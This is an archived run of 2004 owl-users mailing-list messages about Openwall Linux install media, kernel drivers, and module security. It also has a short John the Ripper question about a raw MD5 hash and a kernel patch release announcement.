Date: Thu, 11 Mar 2004 23:45:44 +0100
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040311224544.GA21050@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
In-Reply-To: <20040311221353.GA635@private>
User-Agent: Mutt/1.3.28i
From: rafal.wojtczuk@private (Rafal Wojtczuk)
X-Virus-Scanned: by amavisd-new at 7bulls.com
Sender: owl-users-return-402-jwa=jammed.com@private
X-Spam-Status: No, hits=-40.0 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> > Marcin Siennicki wrote to owl-users@private:
> > > this time I'm asking why there are no device drivers
> > > (for SCSI controllers, NICs,...) on the CD?
[cut]
> We already had to drop some potentially useful stuff from default
> kernels on the CDs (most notably, PCMCIA and USB support) when moving
> from 2.2.x to the bigger 2.4.x kernels, also adding support for ext3.
[cut]
> A better approach might be to move all the disk controller drivers
> into the 1.44 MB floppy image (either compile them into the kernel
> like we do now or start using initrd), but to make that possible at
> the same time remove all non-essential non-disk drivers and even
> entire kernel subsystems into modules available only on the CD (not in
Well, perhaps the long-time goal would be to support initrd, and during the
installation to generate a proper initrd with required drivers (like
"mkinitrd"(8) does on RH). This require significant developer time, though.

> There's really no room to add many more drivers with the current
> approach.  Well, maybe if we switch to using 2.88 MB "floppies", but
> that would kill support for systems which can't boot off a CD and
> actually require one to produce a boot floppy.
I'd like to keep the ability to boot from floppy, it is useful in many
situations.

> > some (conflicting like 3COM 3c5x9 and 3c90x)
> 
> I'm not sure you're correct about this pair of drivers.  CONFIG_EL3
> (for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
> enabled at the same time, -- and are enabled on the Owl 1.1 CDs.
They can be both compiled in the kernel - which is in fact a bug in kernel
config. I once experienced a situation when 3c90x driver claimed the
resources of a 3c59x card (because PCI IDs are similar enough), which resulted 
in non-functional eth0.

> There're many good things to do...
So much to do, so little time - sounds like a quotation, but I don't
remember the source :)

RW
Return-Path: <owl-users-return-403-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2C0fET22578
	for <jwa@private>; Thu, 11 Mar 2004 16:41:14 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id AF15C70
	for <jwa@private>; Thu, 11 Mar 2004 16:41:00 -0800 (PST)
Received: (qmail 870 invoked by uid 550); 12 Mar 2004 00:40:41 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 860 invoked from network); 12 Mar 2004 00:40:40 -0000
Date: Fri, 12 Mar 2004 03:37:18 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312003718.GA1688@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private> <20040311224544.GA21050@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20040311224544.GA21050@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-403-jwa=jammed.com@private
X-Spam-Status: No, hits=-40.0 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thu, Mar 11, 2004 at 11:45:44PM +0100, Rafal Wojtczuk wrote:
> On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> > A better approach might be to move all the disk controller drivers
> > into the 1.44 MB floppy image (either compile them into the kernel
> > like we do now or start using initrd), but to make that possible at
> > the same time remove all non-essential non-disk drivers and even
> > entire kernel subsystems into modules available only on the CD
> 
> Well, perhaps the long-time goal would be to support initrd,

I'm not sure what this would help with.  If we use initrd for disk
controller drivers, the initrd image would need to be fit in a floppy
image anyway (although it may be a second floppy image, but that's an
inconvenience).

You previously mentioned one valid argument in favor of initrd, namely
the ability to auto-detect the CD-ROM device name eliminating the need
for it to be chosen explicitly in LILO.

> and during the
> installation to generate a proper initrd with required drivers (like
> "mkinitrd"(8) does on RH).

What for?  Would the final installed system continue using initrd?

> > > some (conflicting like 3COM 3c5x9 and 3c90x)
> > 
> > I'm not sure you're correct about this pair of drivers.  CONFIG_EL3
> > (for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
> > enabled at the same time, -- and are enabled on the Owl 1.1 CDs.
> They can be both compiled in the kernel - which is in fact a bug in kernel
> config. I once experienced a situation when 3c90x driver claimed the
> resources of a 3c59x card (because PCI IDs are similar enough), which resulted 
> in non-functional eth0.

Hmm.  I thought that _both_ 3c90x and 3c59x are supported by the
driver enabled with CONFIG_VORTEX.  This is what the description for
that configuration option says.  Is that not correct?

-- 
/sd
Return-Path: <owl-users-return-404-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2C1H0T23964
	for <jwa@private>; Thu, 11 Mar 2004 17:17:00 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 1AB5C70
	for <jwa@private>; Thu, 11 Mar 2004 17:16:58 -0800 (PST)
Received: (qmail 2978 invoked by uid 550); 12 Mar 2004 01:16:36 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 2970 invoked from network); 12 Mar 2004 01:16:36 -0000
Date: Fri, 12 Mar 2004 02:16:19 +0100
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312011619.GA23325@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private> <20040311224544.GA21050@private> <20040312003718.GA1688@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
In-Reply-To: <20040312003718.GA1688@private>
User-Agent: Mutt/1.3.28i
From: rafal.wojtczuk@private (Rafal Wojtczuk)
X-Virus-Scanned: by amavisd-new at 7bulls.com
Sender: owl-users-return-404-jwa=jammed.com@private
X-Spam-Status: No, hits=-40.0 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Fri, Mar 12, 2004 at 03:37:18AM +0300, Solar Designer wrote:
> On Thu, Mar 11, 2004 at 11:45:44PM +0100, Rafal Wojtczuk wrote:
> > On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> > > A better approach might be to move all the disk controller drivers
> > > into the 1.44 MB floppy image (either compile them into the kernel
> > > like we do now or start using initrd), but to make that possible at
> > > the same time remove all non-essential non-disk drivers and even
> > > entire kernel subsystems into modules available only on the CD
> > 
> > Well, perhaps the long-time goal would be to support initrd,
> 
> I'm not sure what this would help with.  If we use initrd for disk
> controller drivers, the initrd image would need to be fit in a floppy
Ah, right. As regards space requirements, it's the same.

> > and during the
> > installation to generate a proper initrd with required drivers (like
> > "mkinitrd"(8) does on RH).
> 
> What for?  Would the final installed system continue using initrd?
Yes, that was my intention. This would simplify the installation, removing
the need for kernel compilation, and not bloating it with all possible
drivers. But it is not that crucial, and most people want to compile a
custom kernel anyway.

> 
> > > > some (conflicting like 3COM 3c5x9 and 3c90x)
> > > 
> > > I'm not sure you're correct about this pair of drivers.  CONFIG_EL3
> > > (for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
> > > enabled at the same time, -- and are enabled on the Owl 1.1 CDs.
> > They can be both compiled in the kernel - which is in fact a bug in kernel
> > config. I once experienced a situation when 3c90x driver claimed the
> > resources of a 3c59x card (because PCI IDs are similar enough), which resulted 
> > in non-functional eth0.
> 
> Hmm.  I thought that _both_ 3c90x and 3c59x are supported by the
> driver enabled with CONFIG_VORTEX.  This is what the description for
> that configuration option says.  Is that not correct?
I don't know how these drivers behave currently, and I do not have now the 
card which was recognized by both drivers, so I cannot answer that; at least
in past this was a problem.

RW
Return-Path: <owl-users-return-405-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2C8CrT11400
	for <jwa@private>; Fri, 12 Mar 2004 00:12:53 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 843E870
	for <jwa@private>; Fri, 12 Mar 2004 00:12:50 -0800 (PST)
Received: (qmail 21232 invoked by uid 550); 12 Mar 2004 08:12:23 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 21224 invoked from network); 12 Mar 2004 08:12:22 -0000
From: m.siennicki@private
Date: Fri, 12 Mar 2004 08:53:28 +0100
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312085328.A26889@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private> <20040311224544.GA21050@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20040311224544.GA21050@private>; from rafal.wojtczuk@private on Thu, Mar 11, 2004 at 11:45:44PM +0100
Sender: owl-users-return-405-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.4 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      NO_REAL_NAME,QUOTED_EMAIL_TEXT,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Fri, Mar 12, 2004 at 01:13:53AM +0300, Solar Designer wrote:
> There's really no room to add many more drivers with the current
> approach.  Well, maybe if we switch to using 2.88 MB "floppies", but
> that would kill support for systems which can't boot off a CD and
> actually require one to produce a boot floppy.

   Then maybe there is enough room to add just BusLogic support
(for VMware)?

And just one more off-topic question (I'm interested what others
think about it):
Isn't a kernel with modules support disabled more secure then
a kernel with the support enabled? 

Marcin
Return-Path: <owl-users-return-406-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2CMNRT19146
	for <jwa@private>; Fri, 12 Mar 2004 14:23:27 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id C498170
	for <jwa@private>; Fri, 12 Mar 2004 14:23:23 -0800 (PST)
Received: (qmail 5083 invoked by uid 550); 12 Mar 2004 22:22:55 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 5075 invoked from network); 12 Mar 2004 22:22:55 -0000
Date: Sat, 13 Mar 2004 01:19:23 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040312221923.GF24481@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private> <20040311221353.GA635@private> <20040311224544.GA21050@private> <20040312085328.A26889@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20040312085328.A26889@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-406-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Fri, Mar 12, 2004 at 08:53:28AM +0100, m.siennicki@private wrote:
>    Then maybe there is enough room to add just BusLogic support
> (for VMware)?

Is that CONFIG_SCSI_BUSLOGIC?

Why does VMware require it?

> And just one more off-topic question (I'm interested what others
> think about it):
> Isn't a kernel with modules support disabled more secure then
> a kernel with the support enabled? 

Well, if you want my opinion:

Yes, but very slightly.  There're two reasons why this might make a
kernel a little more secure: this makes it somewhat harder to reliably
install kernel-level backdoors and reduces kernel code size thereby
potentially reducing the number of bugs there might be.  (Of course,
this assumes that you do not compile in extra/unneeded functionality
"just in case" simply because you have disabled module support.)

But in practice, it was only the first factor which mattered some
years ago (at around 1997-1999 when lkm-based rootkits for Linux
already existed, but kmem-based ones did not), and the point is moot
these days with the widespread kmem-based rootkits.  (Yes, it is
possible to patch the kernel to make kmem read-only, forcing rootkits
to resort to even more complicated and less reliable tricks.)

-- 
/sd
Return-Path: <owl-users-return-407-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2DAnVT21806
	for <jwa@private>; Sat, 13 Mar 2004 02:49:31 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id C3F1D70
	for <jwa@private>; Sat, 13 Mar 2004 02:49:24 -0800 (PST)
Received: (qmail 30918 invoked by uid 550); 13 Mar 2004 10:49:01 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 30910 invoked from network); 13 Mar 2004 10:49:00 -0000
Subject: Re: modules on the CD - yet another question
From: Marcin Siennicki <m.siennicki@private>
To: owl-users@private
In-Reply-To: <20040312221923.GF24481@private>
References: <1078862452.4257.298.camel@private>
	 <40503A7F.79D927FA@private> <20040311221353.GA635@private>
	 <20040311224544.GA21050@private>
	 <20040312085328.A26889@private>
	 <20040312221923.GF24481@private>
Content-Type: text/plain; charset=iso-8859-2
Message-Id: <1079174928.4274.49.camel@private>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-9.1.aur.2) 
Date: Sat, 13 Mar 2004 11:48:48 +0100
Content-Transfer-Encoding: 8bit
Sender: owl-users-return-407-jwa=jammed.com@private
X-Spam-Status: No, hits=-26.4 required=5.0
	tests=BAYES_10,IN_REP_TO,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,
	      QUOTE_TWICE_1,REFERENCES,REPLY_WITH_QUOTES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

W li¶cie z pi±, 12-03-2004, godz. 23:19, Solar Designer pisze: 
> >    Then maybe there is enough room to add just BusLogic support
> > (for VMware)?
> 
> Is that CONFIG_SCSI_BUSLOGIC?

Yes.

> Why does VMware require it?

I don't know why, I'm not kernel hacker. VMware emulates
BusLogic SCSI controller for Linux virtual installations.
Probably they couldn't make IDE hard disk emulation good
enough for Linux. IDE hard disk emulation works for
FreeBSD and Windows virtual machines, but does not work
for Linux VM. BTW, VMware is very usefull tool for testing
and shaping Linux installations - for example it can see
an iso image as a plain ATAPI CD-ROM drive, and it can boot
directly from it. And it is realy fast - on my Athlon
1800XP make bzImage takes 4 minutes. Maybe somebody could
donate VMware for Owl developers?

> > Isn't a kernel with modules support disabled more secure then
> > a kernel with the support enabled? 
> 
> Well, if you want my opinion:

Thanks for the answer.

Marcin
Return-Path: <owl-users-return-408-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2RDhe229632
	for <jwa@private>; Sat, 27 Mar 2004 05:43:40 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id B99E570
	for <jwa@private>; Sat, 27 Mar 2004 05:43:31 -0800 (PST)
Received: (qmail 2501 invoked by uid 550); 27 Mar 2004 13:42:46 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 2488 invoked from network); 27 Mar 2004 13:42:45 -0000
Date: Sat, 27 Mar 2004 14:42:40 +0100 (CET)
From: "andreas(at)pikeshop.com" <andreas@private>
X-X-Sender: aw@private
To: owl-users@private
Subject: John the Ripper
Message-ID: <Pine.LNX.4.58.0403271438200.13760@private>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-408-jwa=jammed.com@private
X-Spam-Status: No, hits=-12.9 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,USER_AGENT_PINE
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hello,
i hope i right here for a john question,

i try to recover 1 md5 pasword.
$ cat md5.txt
user_39:2eed9bd8835cd1367248abab12950368

$ ./run/john  -format:MD5 md5.txt
Loaded 0 passwords, exiting...


any hits?

thanks

andreas



-- 
ICQ:174173623
                                                                                       
Return-Path: <owl-users-return-409-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2S2EJ200711
	for <jwa@private>; Sat, 27 Mar 2004 18:14:19 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id D6C5270
	for <jwa@private>; Sat, 27 Mar 2004 18:14:12 -0800 (PST)
Received: (qmail 29687 invoked by uid 550); 28 Mar 2004 02:13:46 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Delivered-To: moderator for owl-users@private
Received: (qmail 9353 invoked from network); 27 Mar 2004 16:50:01 -0000
Date: Sat, 27 Mar 2004 08:49:56 -0800
From: Brian Hatch <bri@private>
To: owl-users@private
Subject: Re: John the Ripper
Message-ID: <20040327164956.GJ3904@private>
References: <Pine.LNX.4.58.0403271438200.13760@private>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="T4Djgzn3z2HSNnx0"
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0403271438200.13760@private>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Sender: owl-users-return-409-jwa=jammed.com@private
X-Spam-Status: No, hits=-28.7 required=5.0
	tests=BAYES_10,IN_REP_TO,KNOWN_MAILING_LIST,PGP_SIGNATURE_2,
	      REFERENCES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


--T4Djgzn3z2HSNnx0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable



> i hope i right here for a john question,
>=20
> i try to recover 1 md5 pasword.
> $ cat md5.txt
> user_39:2eed9bd8835cd1367248abab12950368
>=20
> $ ./run/john  -format:MD5 md5.txt
> Loaded 0 passwords, exiting...

An MD5 password in /etc/shadow format would look more like

user_39:$1$SALTSALT$MD5MD5MD5MD5MD5MD5MDMD:::::::

The $1$ indicates it's an md5 hashed password.  Other
hashes exist as well, for example OpenBSD's use of
blowfish.

--
Brian Hatch                  PRESS ANY KEY.    'a'
   Systems and               SAVE CHANGES?     'n'
   Security Engineer         ARE YOU SURE?     'y'
http://www.ifokr.org/bri/

Every message PGP signed

--T4Djgzn3z2HSNnx0
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFAZbC0P+Nf30gFDwERArjNAJ4n18vIs75NMGTZmZE0uSmsQORq4ACfWWg5
H3feakgK40rMHnC1XNUiInU=
=BtMV
-----END PGP SIGNATURE-----

--T4Djgzn3z2HSNnx0--
Return-Path: <owl-users-return-410-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2SCqI231527
	for <jwa@private>; Sun, 28 Mar 2004 04:52:18 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 5C14770
	for <jwa@private>; Sun, 28 Mar 2004 04:52:07 -0800 (PST)
Received: (qmail 15732 invoked by uid 550); 28 Mar 2004 12:51:39 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 15724 invoked from network); 28 Mar 2004 12:51:38 -0000
Date: Sun, 28 Mar 2004 16:46:23 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: John the Ripper
Message-ID: <20040328124623.GA6872@private>
References: <Pine.LNX.4.58.0403271438200.13760@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0403271438200.13760@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-410-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.2 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Sat, Mar 27, 2004 at 02:42:40PM +0100, andreas(at)pikeshop.com wrote:
> i hope i right here for a john question,

Actually, discussions of John the Ripper are only appropriate here if
they pertain to usage of John on Owl.  But since you've already posted
the question...

> i try to recover 1 md5 pasword.
> $ cat md5.txt
> user_39:2eed9bd8835cd1367248abab12950368
> 
> $ ./run/john  -format:MD5 md5.txt
> Loaded 0 passwords, exiting...

You're barking up the wrong tree.  The hash you have looks like it
might be a raw MD5 hash represented in hex.  John does not support raw
MD5 hashes, it only supports a higher-level algorithm (originally
developed for FreeBSD, but now also used by other Unix-like systems
and Cisco IOS) that uses MD5 as an underlying cryptographic primitive.

You may want to try out MDcrack instead, see http://mdcrack.df.ru

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-411-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3J07Vn02586
	for <jwa@private>; Sun, 18 Apr 2004 17:07:36 -0700
Received: from mother.openwall.net (unknown [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id D0C1770
	for <jwa@private>; Sun, 18 Apr 2004 17:06:10 -0700 (PDT)
Received: (qmail 21033 invoked by uid 550); 19 Apr 2004 00:04:21 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 21019 invoked from network); 19 Apr 2004 00:04:19 -0000
Date: Mon, 19 Apr 2004 04:03:22 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
Cc: lwn@private
Subject: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
Message-ID: <20040419000322.GA1594@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-411-jwa=jammed.com@private
X-Spam-Status: No, hits=-8.5 required=5.0
	tests=BAYES_30,KNOWN_MAILING_LIST,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

This is to announce several updates to the Openwall Linux kernel patch
and to Openwall GNU/*/Linux (Owl), all of which occurred during the
past week.

There're two updated versions of the kernel patch, Linux 2.4.26-ow1
and 2.0.40-ow1.  Both are mere updates to the new kernel releases.

There're no known major security fixes added with Linux 2.4.26.
However, it may be worth noting that Linux 2.4.26 corrects information
leaks in ext3 and XFS journalling filesystems where arbitrary data
from system memory could get written into the journal.  The journal
file and the raw device are normally not readable to regular users,
hence this is only an issue for setups which are specifically trying
to ensure that no sensitive data ever hits disk media (e.g., by using
encrypted filesystems and disabling swap), but which at the same time
use non-encrypted ext3 or XFS filesystems for non-sensitive data.

Linux 2.0.40 (and thus 2.0.40-ow1), compared to Linux 2.0.39-ow3,
eliminates an information leak via ICMP messages.  This issue is more
serious than the one described above in that it affects almost all
setups and makes the potentially sensitive data directly available to
remote hosts, including over the Internet.

The kernel patches may be obtained at the usual location:

	http://www.openwall.com/linux/

Speaking of Owl, there's a new ISO image of Owl-current dated
2004/04/18.  This includes Linux 2.4.26-ow1 as the kernel and has
quite some userland packages updated since Owl 1.1.  A list of major
changes made in Owl-current is available at:

	http://www.openwall.com/Owl/CHANGES-current.shtml

The new Owl-current ISO may be downloaded from under
/pub/Owl/current/iso on the FTP mirrors listed at:

	http://www.openwall.com/Owl/DOWNLOAD.shtml

We're also starting to make available snapshots of Owl 1.1-stable
branch under /pub/Owl/1.1-stable on the FTP mirrors.  This branch
includes the post-release corrections to Owl 1.1, all of which are
documented in the change log available at:

	http://www.openwall.com/Owl/CHANGES-1.1-stable.shtml

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-412-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i3LCTsn09799
	for <jwa@private>; Wed, 21 Apr 2004 05:29:59 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id CDDB470
	for <jwa@private>; Wed, 21 Apr 2004 05:28:57 -0700 (PDT)
Received: (qmail 22737 invoked by uid 550); 21 Apr 2004 12:22:12 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 22729 invoked from network); 21 Apr 2004 12:22:12 -0000
Date: Wed, 21 Apr 2004 14:22:11 +0200 (CEST)
From: Tomasz Grabowski <cadence@private>
X-X-Sender: poczta@private
To: owl-users@private
Subject: Re: Linux 2.4.26-ow1, 2.0.40-ow1; new Owl ISO; Owl 1.1-stable
